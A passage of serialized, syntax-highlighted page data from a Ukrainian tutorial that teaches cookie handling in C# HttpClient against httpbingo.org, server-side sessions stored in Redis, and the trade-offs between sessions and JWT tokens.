new",[3433,5032,4917],{"class":4745},[3433,5034,4895],{"class":4749},[3433,5036,4922],{"class":3926},[3433,5038,4901],{"class":4749},[3433,5040,5041],{"class":3435,"line":3587},[3433,5042,4976],{"class":4749},[3433,5044,5045],{"class":3435,"line":3592},[3433,5046,3458],{"emptyLinePlaceholder":3457},[3433,5048,5049,5052,5054,5056,5059,5062,5065],{"class":3435,"line":3598},[3433,5050,5051],{"class":4741},"foreach",[3433,5053,4638],{"class":4749},[3433,5055,3662],{"class":4745},[3433,5057,5058],{"class":4811}," cookie",[3433,5060,5061],{"class":4741}," in",[3433,5063,5064],{"class":4811}," cookies",[3433,5066,4901],{"class":4749},[3433,5068,5069],{"class":3435,"line":3604},[3433,5070,4843],{"class":4749},[3433,5072,5073,5076,5078,5081,5083,5086,5090,5093,5095,5098,5101,5104,5106,5108,5110,5113,5115,5118],{"class":3435,"line":3610},[3433,5074,5075],{"class":4811},"    Console",[3433,5077,3670],{"class":4749},[3433,5079,5080],{"class":4967},"WriteLine",[3433,5082,4895],{"class":4749},[3433,5084,5085],{"class":3926},"$\"Cookie: ",[3433,5087,5089],{"class":5088},"sD7JJ","{",[3433,5091,5092],{"class":4811},"cookie",[3433,5094,3670],{"class":5088},[3433,5096,5097],{"class":4811},"Name",[3433,5099,5100],{"class":5088},"}",[3433,5102,5103],{"class":3926},"=",[3433,5105,5089],{"class":5088},[3433,5107,5092],{"class":4811},[3433,5109,3670],{"class":5088},[3433,5111,5112],{"class":4811},"Value",[3433,5114,5100],{"class":5088},[3433,5116,5117],{"class":3926},"\"",[3433,5119,4976],{"class":4749},[3433,5121,5122,5124,5126,5128,5130,5133,5135,5137,5139,5141,5143,5145],{"class":3435,"line":3615},[3433,5123,5075],{"class":4811},[3433,5125,3670],{"class":4749},[3433,5127,5080],{"class":4967},[3433,5129,4895],{"class":4749},[3433,5131,5132],{"class":3926},"$\"  HttpOnly: ",[3433,5134,5089],{"class":5088},[3433,5136,5092],{"class":4811},[3433,5138,3670],{"class":5088},[3433,5140,4007],{"class":4811},[3433,5142,5100],{"class":5088},[3433,5144,5117],{"class":3926},[3433,5146,4976],{"class":4749},[3433,5148,5149,5151,5153,5155,5157,5160,5162,5164,5166,5168,5170,5172],{"class":3435,"line":3620},[3433,5150,5075],{"class":4811},[3433,5152,3670],{"class":4749},[3433,5154,5080],{"class":4967},[3433,5156,4895],{"class":4749},[3433,5158,5159],{"class":3926},"$\"  Secure:   ",[3433,5161,5089],{"class":5088},[3433,5163,5092],{"class":4811},[3433,5165,3670],{"class":5088},[3433,5167,3998],{"class":4811},[3433,5169,5100],{"class":5088},[3433,5171,5117],{"class":3926},[3433,5173,4976],{"class":4749},[3433,5175,5176,5178,5180,5182,5184,5187,5189,5191,5193,5195,5197,5199],{"class":3435,"line":3626},[3433,5177,5075],{"class":4811},[3433,5179,3670],{"class":4749},[3433,5181,5080],{"class":4967},[3433,5183,4895],{"class":4749},[3433,5185,5186],{"class":3926},"$\"  Expires:  ",[3433,5188,5089],{"class":5088},[3433,5190,5092],{"class":4811},[3433,5192,3670],{"class":5088},[3433,5194,3976],{"class":4811},[3433,5196,5100],{"class":5088},[3433,5198,5117],{"class":3926},[3433,5200,4976],{"class":4749},[3433,5202,5203,5205,5207,5209,5211,5214,5216,5218,5220,5222,5224,5226],{"class":3435,"line":3632},[3433,5204,5075],{"class":4811},[3433,5206,3670],{"class":4749},[3433,5208,5080],{"class":4967},[3433,5210,4895],{"class":4749},[3433,5212,5213],{"class":3926},"$\"  Domain:   ",[3433,5215,5089],{"class":5088},[3433,5217,5092],{"class":4811},[3433,5219,3670],{"class":5088},[3433,5221,3939],{"class":4811},[3433,5223,5100],{"class":5088},[3433,5225,5117],{"class":3926},[3433,5227,4976],{"class":4749},[3433,5229,5230],{"class":3435,"line":3637},[3433,5231,3813],{"class":4749},[3433,5233,5234],{"class":3435,"line":3642},[3433,5235,3458],{"emptyLinePlaceholder":3457},[3433,5237,5238],{"class":3435,"line":3895},[3433,5239,5240],{"class":4802},"\u002F\u002F 2. Наступний запит — CookieContainer автоматично надішле Cookie header\n",[3433,5242,5243],{"class":3435,"line":3900},[3433,5244,5245],{"class":4802},"\u002F\u002F httpbingo.org\u002Fcookies повертає {\"cookies\":{\"session\":\"abc123xyz\"}}\n",[3433,5247,5249,5251,5254,5256,5258,5260,5262,5264,5266,5269],{"class":3435,"line":5248},40,[3433,5250,4952],{"class":4745},[3433,5252,5253],{"class":4811}," profileResponse",[3433,5255,4815],{"class":4749},[3433,5257,4960],{"class":3923},[3433,5259,4885],{"class":4811},[3433,5261,3670],{"class":4749},[3433,5263,4968],{"class":4967},[3433,5265,4895],{"class":4749},[3433,5267,5268],{"class":3926},"\"cookies\"",[3433,5270,4976],{"class":4749},[3433,5272,5274],{"class":3435,"line":5273},41,[3433,5275,5276],{"class":4802},"\u002F\u002F Заголовок Cookie: session=abc123xyz буде додано автоматично\n",[4726,5278,5280],{"label":5279},"Ручне керування cookies",[3423,5281,5283],{"className":4731,"code":5282,"language":4733,"meta":4734,"style":3428},"using System.Net;\nusing System.Net.Http;\n\n\u002F\u002F Вимикаємо автоматичну обробку cookies і редиректів, щоб читати Set-Cookie вручну\nvar handler = new HttpClientHandler { UseCookies = false, AllowAutoRedirect = false };\nusing var client = new HttpClient(handler)\n{\n    BaseAddress = new Uri(\"https:\u002F\u002Fhttpbingo.org\u002F\")\n};\n\nstring? sessionToken = null;\n\n\u002F\u002F 1. \u002Fcookies\u002Fset повертає 302 з Set-Cookie — читаємо вручну\n\u002F\u002F GET \u002Fcookies\u002Fset?session=abc123 → 302 Found + Set-Cookie: session=abc123; HttpOnly\nvar request = new HttpRequestMessage(HttpMethod.Get, \"cookies\u002Fset?session=abc123xyz\");\nHttpResponseMessage loginResp = await client.SendAsync(request);\n\u002F\u002F Статус: 302 Found, заголовок: Set-Cookie: session=abc123xyz; HttpOnly\n\nif (loginResp.Headers.TryGetValues(\"Set-Cookie\", out var setCookies))\n{\n    foreach (string rawCookie in setCookies)\n    {\n        \u002F\u002F Парсимо \"session=abc123; HttpOnly; Secure; SameSite=Lax\"\n        \u002F\u002F Перша частина до ';' — це ім'я=значення\n        string nameValue = rawCookie.Split(';')[0].Trim();\n\n        if (nameValue.StartsWith(\"session=\", StringComparison.OrdinalIgnoreCase))\n        {\n            sessionToken = nameValue[\"session=\".Length..];\n            Console.WriteLine($\"Session ID отримано: {sessionToken[..8]}...\");\n        }\n    }\n}\n\n\u002F\u002F 2. httpbingo.org\u002Fcookies показує всі cookies, отримані від клієнта\nvar profileRequest = new HttpRequestMessage(HttpMethod.Get, \"cookies\");\nif (sessionToken is not null)\n    profileRequest.Headers.Add(\"Cookie\", $\"session={sessionToken}\");\n\nHttpResponseMessage profileResp = await client.SendAsync(profileRequest);\n\u002F\u002F Відповідь: {\"cookies\":{\"session\":\"abc123xyz\"}}\n",[3430,5284,5285,5297,5313,5317,5322,5358,5378,5382,5398,5402,5406,5423,5427,5432,5437,5467,5492,5497,5501,5539,5543,5561,5566,5571,5576,5614,5618,5650,5655,5677,5711,5716,5721,5725,5729,5734,5761,5780,5814,5818,5842],{"__ignoreMap":3428},[3433,5286,5287,5289,5291,5293,5295],{"class":3435,"line":3436},[3433,5288,4742],{"class":4741},[3433,5290,4746],{"class":4745},[3433,5292,3670],{"class":4749},[3433,5294,4752],{"class":4745},[3433,5296,4755],{"class":4749},[3433,5298,5299,5301,5303,5305,5307,5309,5311],{"class":3435,"line":3442},[3433,5300,4742],{"class":4741},[3433,5302,4746],{"class":4745},[3433,5304,3670],{"class":4749},[3433,5306,4752],{"class":4745},[3433,5308,3670],{"class":4749},[3433,5310,4770],{"class":4745},[3433,5312,4755],{"class":4749},[3433,5314,5315],{"class":3435,"line":3448},[3433,5316,3458],{"emptyLinePlaceholder":3457},[3433,5318,5319],{"class":3435,"line":3454},[3433,5320,5321],{"class":4802},"\u002F\u002F Вимикаємо автоматичну обробку cookies і редиректів, щоб читати Set-Cookie вручну\n",[3433,5323,5324,5326,5328,5330,5332,5335,5338,5341,5343,5346,5348,5351,5353,5355],{"class":3435,"line":3461},[3433,5325,4808],{"class":3923},[3433,5327,4831],{"class":4811},[3433,5329,4815],{"class":4749},[3433,5331,4818],{"class":3923},[3433,5333,5334],{"class":4745}," HttpClientHandler",[3433,5336,5337],{"class":4749}," { ",[3433,5339,5340],{"class":4811},"UseCookies",[3433,5342,4815],{"class":4749},[3433,5344,5345],{"class":3923},"false",[3433,5347,4263],{"class":4749},[3433,5349,5350],{"class":4811},"AllowAutoRedirect",[3433,5352,4815],{"class":4749},[3433,5354,5345],{"class":3923},[3433,5356,5357],{"class":4749}," };\n",[3433,5359,5360,5362,5364,5366,5368,5370,5372,5374,5376],{"class":3435,"line":3467},[3433,5361,4742],{"class":4741},[3433,5363,4882],{"class":3923},[3433,5365,4885],{"class":4811},[3433,5367,4815],{"class":4749},[3433,5369,4818],{"class":3923},[3433,5371,4892],{"class":4745},[3433,5373,4895],{"class":4749},[3433,5375,4898],{"class":4811},[3433,5377,4901],{"class":4749},[3433,5379,5380],{"class":3435,"line":3473},[3433,5381,4843],{"class":4749},[3433,5383,5384,5386,5388,5390,5392,5394,5396],{"class":3435,"line":3479},[3433,5385,4910],{"class":4811},[3433,5387,4815],{"class":4749},[3433,5389,4818],{"class":3923},[3433,5391,4917],{"class":4745},[3433,5393,4895],{"class":4749},[3433,5395,4922],{"class":3926},[3433,5397,4901],{"class":4749},[3433,5399,5400],{"class":3435,"line":3484},[3433,5401,4871],{"class":4749},[3433,5403,5404],{"class":3435,"line":3490},[3433,5405,3458],{"emptyLinePlaceholder":3457},[3433,5407,5408,5410,5413,5416,5418,5421],{"class":3435,"line":3496},[3433,5409,3940],{"class":3923},[3433,5411,5412],{"class":4749},"? ",[3433,5414,5415],{"class":4811},"sessionToken",[3433,5417,4815],{"class":4749},[3433,5419,5420],{"class":3923},"null",[3433,5422,4755],{"class":4749},[3433,5424,5425],{"class":3435,"line":3502},[3433,5426,3458],{"emptyLinePlaceholder":3457},[3433,5428,5429],{"class":3435,"line":3508},[3433,5430,5431],{"class":4802},"\u002F\u002F 1. \u002Fcookies\u002Fset повертає 302 з Set-Cookie — читаємо вручну\n",[3433,5433,5434],{"class":3435,"line":3513},[3433,5435,5436],{"class":4802},"\u002F\u002F GET \u002Fcookies\u002Fset?session=abc123 → 302 Found + Set-Cookie: session=abc123; HttpOnly\n",[3433,5438,5439,5441,5444,5446,5448,5451,5453,5456,5458,5461,5463,5465],{"class":3435,"line":3519},[3433,5440,4808],{"class":3923},[3433,5442,5443],{"class":4811}," request",[3433,5445,4815],{"class":4749},[3433,5447,4818],{"class":3923},[3433,5449,5450],{"class":4745}," HttpRequestMessage",[3433,5452,4895],{"class":4749},[3433,5454,5455],{"class":4811},"HttpMethod",[3433,5457,3670],{"class":4749},[3433,5459,5460],{"class":4811},"Get",[3433,5462,4263],{"class":4749},[3433,5464,4973],{"class":3926},[3433,5466,4976],{"class":4749},[3433,5468,5469,5471,5474,5476,5478,5480,5482,5485,5487,5490],{"class":3435,"line":3525},[3433,5470,4952],{"class":4745},[3433,5472,5473],{"class":4811}," loginResp",[3433,5475,4815],{"class":4749},[3433,5477,4960],{"class":3923},[3433,5479,4885],{"class":4811},[3433,5481,3670],{"class":4749},[3433,5483,5484],{"class":4967},"SendAsync",[3433,5486,4895],{"class":4749},[3433,5488,5489],{"class":4811},"request",[3433,5491,4976],{"class":4749},[3433,5493,5494],{"class":3435,"line":3531},[3433,5495,5496],{"class":4802},"\u002F\u002F Статус: 302 Found, заголовок: Set-Cookie: session=abc123xyz; HttpOnly\n",[3433,5498,5499],{"class":3435,"line":3537},[3433,5500,3458],{"emptyLinePlaceholder":3457},[3433,5502,5503,5506,5508,5511,5513,5516,5518,5521,5523,5526,5528,5531,5533,5536],{"class":3435,"line":3542},[3433,5504,5505],{"class":4741},"if",[3433,5507,4638],{"class":4749},[3433,5509,5510],{"class":4811},"loginResp",[3433,5512,3670],{"class":4749},[3433,5514,5515],{"class":4811},"Headers",[3433,5517,3670],{"class":4749},[3433,5519,5520],{"class":4967},"TryGetValues",[3433,5522,4895],{"class":4749},[3433,5524,5525],{"class":3926},"\"Set-Cookie\"",[3433,5527,4263],{"class":4749},[3433,5529,5530],{"class":3923},"out",[3433,5532,4882],{"class":3923},[3433,5534,5535],{"class":4811}," setCookies",[3433,5537,5538],{"class":4749},"))\n",[3433,5540,5541],{"class":3435,"line":3548},[3433,5542,4843],{"class":4749},[3433,5544,5545,5548,5550,5552,5555,5557,5559],{"class":3435,"line":3554},[3433,5546,5547],{"class":4741},"    foreach",[3433,5549,4638],{"class":4749},[3433,5551,3940],{"class":3923},[3433,5553,5554],{"class":4811}," rawCookie",[3433,5556,5061],{"class":4741},[3433,5558,5535],{"class":4811},[3433,5560,4901],{"class":4749},[3433,5562,5563],{"class":3435,"line":3560},[3433,5564,5565],{"class":4749},"    {\n",[3433,5567,5568],{"class":3435,"line":3565},[3433,5569,5570],{"class":4802},"        \u002F\u002F Парсимо \"session=abc123; HttpOnly; Secure; SameSite=Lax\"\n",[3433,5572,5573],{"class":3435,"line":3570},[3433,5574,5575],{"class":4802},"        \u002F\u002F Перша частина до ';' — це ім'я=значення\n",[3433,5577,5578,5581,5584,5586,5589,5591,5594,5596,5599,5602,5606,5609,5612],{"class":3435,"line":3576},[3433,5579,5580],{"class":3923},"        string",[3433,5582,5583],{"class":4811}," nameValue",[3433,5585,4815],{"class":4749},[3433,5587,5588],{"class":4811},"rawCookie",[3433,5590,3670],{"class":4749},[3433,5592,5593],{"class":4967},"Split",[3433,5595,4895],{"class":4749},[3433,5597,5598],{"class":3926},"';'",[3433,5600,5601],{"class":4749},")[",[3433,5603,5605],{"class":5604},"sJj4R","0",[3433,5607,5608],{"class":4749},"].",[3433,5610,5611],{"class":4967},"Trim",[3433,5613,4824],{"class":4749},[3433,5615,5616],{"class":3435,"line":3582},[3433,5617,3458],{"emptyLinePlaceholder":3457},[3433,5619,5620,5623,5625,5628,5630,5633,5635,5638,5640,5643,5645,5648],{"class":3435,"line":3587},[3433,5621,5622],{"class":4741},"        if",[3433,5624,4638],{"class":4749},[3433,5626,5627],{"class":4811},"nameValue",[3433,5629,3670],{"class":4749},[3433,5631,5632],{"class":4967},"StartsWith",[3433,5634,4895],{"class":4749},[3433,5636,5637],{"class":3926},"\"session=\"",[3433,5639,4263],{"class":4749},[3433,5641,5642],{"class":4811},"StringComparison",[3433,5644,3670],{"class":4749},[3433,5646,5647],{"class":4811},"OrdinalIgnoreCase",[3433,5649,5538],{"class":4749},[3433,5651,5652],{"class":3435,"line":3592},[3433,5653,5654],{"class":4749},"        {\n",[3433,5656,5657,5660,5662,5664,5667,5669,5671,5674],{"class":3435,"line":3598},[3433,5658,5659],{"class":4811},"            sessionToken",[3433,5661,4815],{"class":4749},[3433,5663,5627],{"class":4811},[3433,5665,5666],{"class":4749},"[",[3433,5668,5637],{"class":3926},[3433,5670,3670],{"class":4749},[3433,5672,5673],{"class":4811},"Length",[3433,5675,5676],{"class":4749},"..];\n",[3433,5678,5679,5682,5684,5686,5688,5691,5693,5695,5697,5700,5703,5706,5709],{"class":3435,"line":3604},[3433,5680,5681],{"class":4811},"            Console",[3433,5683,3670],{"class":4749},[3433,5685,5080],{"class":4967},[3433,5687,4895],{"class":4749},[3433,5689,5690],{"class":3926},"$\"Session ID отримано: ",[3433,5692,5089],{"class":5088},[3433,5694,5415],{"class":4811},[3433,5696,5666],{"class":5088},[3433,5698,5699],{"class":4749},"..",[3433,5701,5702],{"class":5604},"8",[3433,5704,5705],{"class":5088},"]}",[3433,5707,5708],{"class":3926},"...\"",[3433,5710,4976],{"class":4749},[3433,5712,5713],{"class":3435,"line":3610},[3433,5714,5715],{"class":4749},"        }\n",[3433,5717,5718],{"class":3435,"line":3615},[3433,5719,5720],{"class":4749},"    }\n",[3433,5722,5723],{"class":3435,"line":3620},[3433,5724,3813],{"class":4749},[3433,5726,5727],{"class":3435,"line":3626},[3433,5728,3458],{"emptyLinePlaceholder":3457},[3433,5730,5731],{"class":3435,"line":3632},[3433,5732,5733],{"class":4802},"\u002F\u002F 2. httpbingo.org\u002Fcookies показує всі cookies, отримані від клієнта\n",[3433,5735,5736,5738,5741,5743,5745,5747,5749,5751,5753,5755,5757,5759],{"class":3435,"line":3637},[3433,5737,4808],{"class":3923},[3433,5739,5740],{"class":4811}," profileRequest",[3433,5742,4815],{"class":4749},[3433,5744,4818],{"class":3923},[3433,5746,5450],{"class":4745},[3433,5748,4895],{"class":4749},[3433,5750,5455],{"class":4811},[3433,5752,3670],{"class":4749},[3433,5754,5460],{"class":4811},[3433,5756,4263],{"class":4749},[3433,5758,5268],{"class":3926},[3433,5760,4976],{"class":4749},[3433,5762,5763,5765,5767,5769,5772,5775,5778],{"class":3435,"line":3642},[3433,5764,5505],{"class":4741},[3433,5766,4638],{"class":4749},[3433,5768,5415],{"class":4811},[3433,5770,5771],{"class":3923}," is",[3433,5773,5774],{"class":3923}," not",[3433,5776,5777],{"class":3923}," null",[3433,5779,4901],{"class":4749},[3433,5781,5782,5785,5787,5789,5791,5794,5796,5799,5801,5804,5806,5808,5810,5812],{"class":3435,"line":3895},[3433,5783,5784],{"class":4811},"    profileRequest",[3433,5786,3670],{"class":4749},[3433,5788,5515],{"class":4811},[3433,5790,3670],{"class":4749},[3433,5792,5793],{"class":4967},"Add",[3433,5795,4895],{"class":4749},[3433,5797,5798],{"class":3926},"\"Cookie\"",[3433,5800,4263],{"class":4749},[3433,5802,5803],{"class":3926},"$\"session=",[3433,5805,5089],{"class":5088},[3433,5807,5415],{"class":4811},[3433,5809,5100],{"class":5088},[3433,5811,5117],{"class":3926},[3433,5813,4976],{"class":4749},[3433,5815,5816],{"class":3435,"line":3900},[3433,5817,3458],{"emptyLinePlaceholder":3457},[3433,5819,5820,5822,5825,5827,5829,5831,5833,5835,5837,5840],{"class":3435,"line":5248},[3433,5821,4952],{"class":4745},[3433,5823,5824],{"class":4811}," profileResp",[3433,5826,4815],{"class":4749},[3433,5828,4960],{"class":3923},[3433,5830,4885],{"class":4811},[3433,5832,3670],{"class":4749},[3433,5834,5484],{"class":4967},[3433,5836,4895],{"class":4749},[3433,5838,5839],{"class":4811},"profileRequest",[3433,5841,4976],{"class":4749},[3433,5843,5844],{"class":3435,"line":5273},[3433,5845,5846],{"class":4802},"\u002F\u002F Відповідь: {\"cookies\":{\"session\":\"abc123xyz\"}}\n",[4726,5848,5850],{"label":5849},"Видалення cookie",[3423,5851,5853],{"className":4731,"code":5852,"language":4733,"meta":4734,"style":3428},"\u002F\u002F Сервер видаляє cookie, надсилаючи Set-Cookie з Max-Age=0 або минулою датою\n\u002F\u002F Клієнт також може видалити cookie вручну через CookieContainer\n\nvar cookieContainer = new CookieContainer();\n\u002F\u002F ... після логіну cookie зберігається в container\n\n\u002F\u002F Видалення cookie у CookieContainer:\nvar uri = new Uri(\"https:\u002F\u002Fhttpbingo.org\u002F\");\nCookie? sessionCookie = cookieContainer\n    .GetCookies(uri)\n    .FirstOrDefault(c => c.Name == \"session\");\n\nif (sessionCookie is not null)\n{\n    sessionCookie.Expired = true; \u002F\u002F видалити з jar\n    Console.WriteLine(\"Cookie видалено з CookieContainer\");\n}\n",[3430,5854,5855,5860,5865,5869,5883,5888,5892,5897,5916,5930,5944,5973,5977,5993,5997,6018,6033],{"__ignoreMap":3428},[3433,5856,5857],{"class":3435,"line":3436},[3433,5858,5859],{"class":4802},"\u002F\u002F Сервер видаляє cookie, надсилаючи Set-Cookie з Max-Age=0 або минулою датою\n",[3433,5861,5862],{"class":3435,"line":3442},[3433,5863,5864],{"class":4802},"\u002F\u002F Клієнт також може видалити cookie вручну через CookieContainer\n",[3433,5866,5867],{"class":3435,"line":3448},[3433,5868,3458],{"emptyLinePlaceholder":3457},[3433,5870,5871,5873,5875,5877,5879,5881],{"class":3435,"line":3454},[3433,5872,4808],{"class":3923},[3433,5874,4812],{"class":4811},[3433,5876,4815],{"class":4749},[3433,5878,4818],{"class":3923},[3433,5880,4821],{"class":4745},[3433,5882,4824],{"class":4749},[3433,5884,5885],{"class":3435,"line":3461},[3433,5886,5887],{"class":4802},"\u002F\u002F ... після логіну cookie зберігається в container\n",[3433,5889,5890],{"class":3435,"line":3467},[3433,5891,3458],{"emptyLinePlaceholder":3457},[3433,5893,5894],{"class":3435,"line":3473},[3433,5895,5896],{"class":4802},"\u002F\u002F Видалення cookie у CookieContainer:\n",[3433,5898,5899,5901,5904,5906,5908,5910,5912,5914],{"class":3435,"line":3479},[3433,5900,4808],{"class":3923},[3433,5902,5903],{"class":4811}," uri",[3433,5905,4815],{"class":4749},[3433,5907,4818],{"class":3923},[3433,5909,4917],{"class":4745},[3433,5911,4895],{"class":4749},[3433,5913,4922],{"class":3926},[3433,5915,4976],{"class":4749},[3433,5917,5918,5920,5922,5925,5927],{"class":3435,"line":3484},[3433,5919,3662],{"class":4745},[3433,5921,5412],{"class":4749},[3433,5923,5924],{"class":4811},"sessionCookie",[3433,5926,4815],{"class":4749},[3433,5928,5929],{"class":4811},"cookieContainer\n",[3433,5931,5932,5935,5937,5939,5942],{"class":3435,"line":3490},[3433,5933,5934],{"class":4749},"    .",[3433,5936,5022],{"class":4967},[3433,5938,4895],{"class":4749},[3433,5940,5941],{"class":4811},"uri",[3433,5943,4901],{"class":4749},[3433,5945,5946,5948,5951,5953,5956,5959,5961,5963,5965,5968,5971],{"class":3435,"line":3496},[3433,5947,5934],{"class":4749},[3433,5949,5950],{"class":4967},"FirstOrDefault",[3433,5952,4895],{"class":4749},[3433,5954,5955],{"class":4811},"c",[3433,5957,5958],{"class":4749}," => ",[3433,5960,5955],{"class":4811},[3433,5962,3670],{"class":4749},[3433,5964,5097],{"class":4811},[3433,5966,5967],{"class":4749}," == ",[3433,5969,5970],{"class":3926},"\"session\"",[3433,5972,4976],{"class":4749},[3433,5974,5975],{"class":3435,"line":3502},[3433,5976,3458],{"emptyLinePlaceholder":3457},[3433,5978,5979,5981,5983,5985,5987,5989,5991],{"class":3435,"line":3508},[3433,5980,5505],{"class":4741},[3433,5982,4638],{"class":4749},[3433,5984,5924],{"class":4811},[3433,5986,5771],{"class":3923},[3433,5988,5774],{"class":3923},[3433,5990,5777],{"class":3923},[3433,5992,4901],{"class":4749},[3433,5994,5995],{"class":3435,"line":3513},[3433,5996,4843],{"class":4749},[3433,5998,5999,6002,6004,6007,6009,6012,6015],{"class":3435,"line":3519},[3433,6000,6001],{"class":4811},"    sessionCookie",[3433,6003,3670],{"class":4749},[3433,6005,6006],{"class":4811},"Expired",[3433,6008,4815],{"class":4749},[3433,6010,6011],{"class":3923},"true",[3433,6013,6014],{"class":4749},"; ",[3433,6016,6017],{"class":4802},"\u002F\u002F видалити з jar\n",[3433,6019,6020,6022,6024,6026,6028,6031],{"class":3435,"line":3525},[3433,6021,5075],{"class":4811},[3433,6023,3670],{"class":4749},[3433,6025,5080],{"class":4967},[3433,6027,4895],{"class":4749},[3433,6029,6030],{"class":3926},"\"Cookie видалено з CookieContainer\"",[3433,6032,4976],{"class":4749},[3433,6034,6035],{"class":3435,"line":3531},[3433,6036,3813],{"class":4749},[3654,6038,6040],{"id":6039},"сесії-серверний-стан-через-cookie","Сесії: серверний стан через cookie",[3317,6042,6043,6044,6047,6048,6051,6052,3670],{},"Cookie — це лише ",[3321,6045,6046],{},"ключ",". Реальний стан (хто такий користувач, що він може робити) зберігається ",[3321,6049,6050],{},"на сервері",". Класична схема — ",[3321,6053,6054],{},"Session ID через Cookie",[3420,6056,6057],{},[3423,6058,6060],{"className":3425,"code":6059,"language":3427,"meta":3428,"style":3428},"@startuml\nskinparam style plain\nskinparam backgroundColor #ffffff\n\nactor \"Браузер\" as browser\nparticipant \"Веб-сервер\" as server #e3f2fd\ndatabase \"Session Store\\n(Redis \u002F In-Memory)\" as store #e8f5e9\n\n== Аутентифікація ==\nbrowser -> server : POST \u002Flogin\\nCredentials\nserver -> store : SET session:abc123\\n{userId:42, roles:[\"user\"]}\\nEX 3600\nserver --> browser : 200 OK\\nSet-Cookie: __Host-session=abc123;\\nHttpOnly; Secure; SameSite=Lax\n\n== Наступні запити ==\nbrowser -> server : GET \u002Forders\\nCookie: __Host-session=abc123\nserver -> store : GET session:abc123\nstore --> server : {userId:42, roles:[\"user\"]}\nserver --> browser : 200 OK\\n[список замовлень]\n\n== Вихід ==\nbrowser -> server : POST \u002Flogout\\nCookie: __Host-session=abc123\nserver -> store : DEL session:abc123\nserver --> browser : 200 OK\\nSet-Cookie: __Host-session=; Max-Age=0; Secure\n\n@enduml\n",[3430,6061,6062,6066,6070,6074,6078,6083,6088,6093,6097,6102,6107,6112,6117,6121,6126,6131,6136,6141,6146,6150,6155,6160,6165,6170,6174],{"__ignoreMap":3428},[3433,6063,6064],{"class":3435,"line":3436},[3433,6065,3439],{},[3433,6067,6068],{"class":3435,"line":3442},[3433,6069,3445],{},[3433,6071,6072],{"class":3435,"line":3448},[3433,6073,3451],{},[3433,6075,6076],{"class":3435,"line":3454},[3433,6077,3458],{"emptyLinePlaceholder":3457},[3433,6079,6080],{"class":3435,"line":3461},[3433,6081,6082],{},"actor \"Браузер\" as browser\n",[3433,6084,6085],{"class":3435,"line":3467},[3433,6086,6087],{},"participant \"Веб-сервер\" as server #e3f2fd\n",[3433,6089,6090],{"class":3435,"line":3473},[3433,6091,6092],{},"database \"Session Store\\n(Redis \u002F In-Memory)\" as store #e8f5e9\n",[3433,6094,6095],{"class":3435,"line":3479},[3433,6096,3458],{"emptyLinePlaceholder":3457},[3433,6098,6099],{"class":3435,"line":3484},[3433,6100,6101],{},"== Аутентифікація ==\n",[3433,6103,6104],{"class":3435,"line":3490},[3433,6105,6106],{},"browser -> server : POST \u002Flogin\\nCredentials\n",[3433,6108,6109],{"class":3435,"line":3496},[3433,6110,6111],{},"server -> store : SET session:abc123\\n{userId:42, roles:[\"user\"]}\\nEX 3600\n",[3433,6113,6114],{"class":3435,"line":3502},[3433,6115,6116],{},"server --> browser : 200 OK\\nSet-Cookie: __Host-session=abc123;\\nHttpOnly; Secure; SameSite=Lax\n",[3433,6118,6119],{"class":3435,"line":3508},[3433,6120,3458],{"emptyLinePlaceholder":3457},[3433,6122,6123],{"class":3435,"line":3513},[3433,6124,6125],{},"== Наступні запити ==\n",[3433,6127,6128],{"class":3435,"line":3519},[3433,6129,6130],{},"browser -> server : GET \u002Forders\\nCookie: __Host-session=abc123\n",[3433,6132,6133],{"class":3435,"line":3525},[3433,6134,6135],{},"server -> store : GET session:abc123\n",[3433,6137,6138],{"class":3435,"line":3531},[3433,6139,6140],{},"store --> server : {userId:42, roles:[\"user\"]}\n",[3433,6142,6143],{"class":3435,"line":3537},[3433,6144,6145],{},"server --> browser : 200 OK\\n[список замовлень]\n",[3433,6147,6148],{"class":3435,"line":3542},[3433,6149,3458],{"emptyLinePlaceholder":3457},[3433,6151,6152],{"class":3435,"line":3548},[3433,6153,6154],{},"== Вихід ==\n",[3433,6156,6157],{"class":3435,"line":3554},[3433,6158,6159],{},"browser -> server : POST \u002Flogout\\nCookie: __Host-session=abc123\n",[3433,6161,6162],{"class":3435,"line":3560},[3433,6163,6164],{},"server -> store : DEL session:abc123\n",[3433,6166,6167],{"class":3435,"line":3565},[3433,6168,6169],{},"server --> browser : 200 OK\\nSet-Cookie: __Host-session=; Max-Age=0; Secure\n",[3433,6171,6172],{"class":3435,"line":3570},[3433,6173,3458],{"emptyLinePlaceholder":3457},[3433,6175,6176],{"class":3435,"line":3576},[3433,6177,3645],{},[6179,6180,6181,6184,6185,6188,6189,6192],"warning",{},[3321,6182,6183],{},"Горизонтальне масштабування та сесії:"," Session зберігається на одному сервері. Якщо наступний запит потрапить на інший сервер — сесія не знайдена (помилка 401). Рішення: ",[3321,6186,6187],{},"Centralized session store"," (Redis) — найправильніший підхід, або ",[3321,6190,6191],{},"Sticky sessions"," (балансувальник завжди направляє до одного сервера — погано для відмовостійкості).",[3647,6194],{},[3312,6196,6198],{"id":6197},"сесії-vs-токени-порівняння-архітектур","Сесії vs Токени: порівняння архітектур",[3317,6200,6201],{},"Два фундаментально різних підходи до збереження стану автентифікації:",[3346,6203,6204,6216],{},[3349,6205,6206],{},[3352,6207,6208,6211,6213],{},[3355,6209,6210],{},"Критерій",[3355,6212,3377],{},[3355,6214,6215],{},"JWT \u002F Bearer Token",[3368,6217,6218,6231,6244,6257,6270,6283,6296],{},[3352,6219,6220,6225,6228],{},[3373,6221,6222],{},[3321,6223,6224],{},"Де стан",[3373,6226,6227],{},"На сервері (DB\u002FRedis)",[3373,6229,6230],{},"У самому токені (claims)",[3352,6232,6233,6238,6241],{},[3373,6234,6235],{},[3321,6236,6237],{},"Розмір",[3373,6239,6240],{},"~30 байт (ID)",[3373,6242,6243],{},"~300–600 байт (base64)",[3352,6245,6246,6251,6254],{},[3373,6247,6248],{},[3321,6249,6250],{},"Відкликання",[3373,6252,6253],{},"Миттєво (DEL session:id)",[3373,6255,6256],{},"Складно (blacklist або short TTL)",[3352,6258,6259,6264,6267],{},[3373,6260,6261],{},[3321,6262,6263],{},"Масштабування",[3373,6265,6266],{},"Потребує centralized store",[3373,6268,6269],{},"Без серверного стану (stateless)",[3352,6271,6272,6277,6280],{},[3373,6273,6274],{},[3321,6275,6276],{},"Мікросервіси",[3373,6278,6279],{},"Складніше — потрібен store",[3373,6281,6282],{},"Простіше — JWT перевіряється локально",[3352,6284,6285,6290,6293],{},[3373,6286,6287],{},[3321,6288,6289],{},"Безпека зберігання",[3373,6291,6292],{},"HttpOnly cookie (XSS-стійкий)",[3373,6294,6295],{},"Залежить від 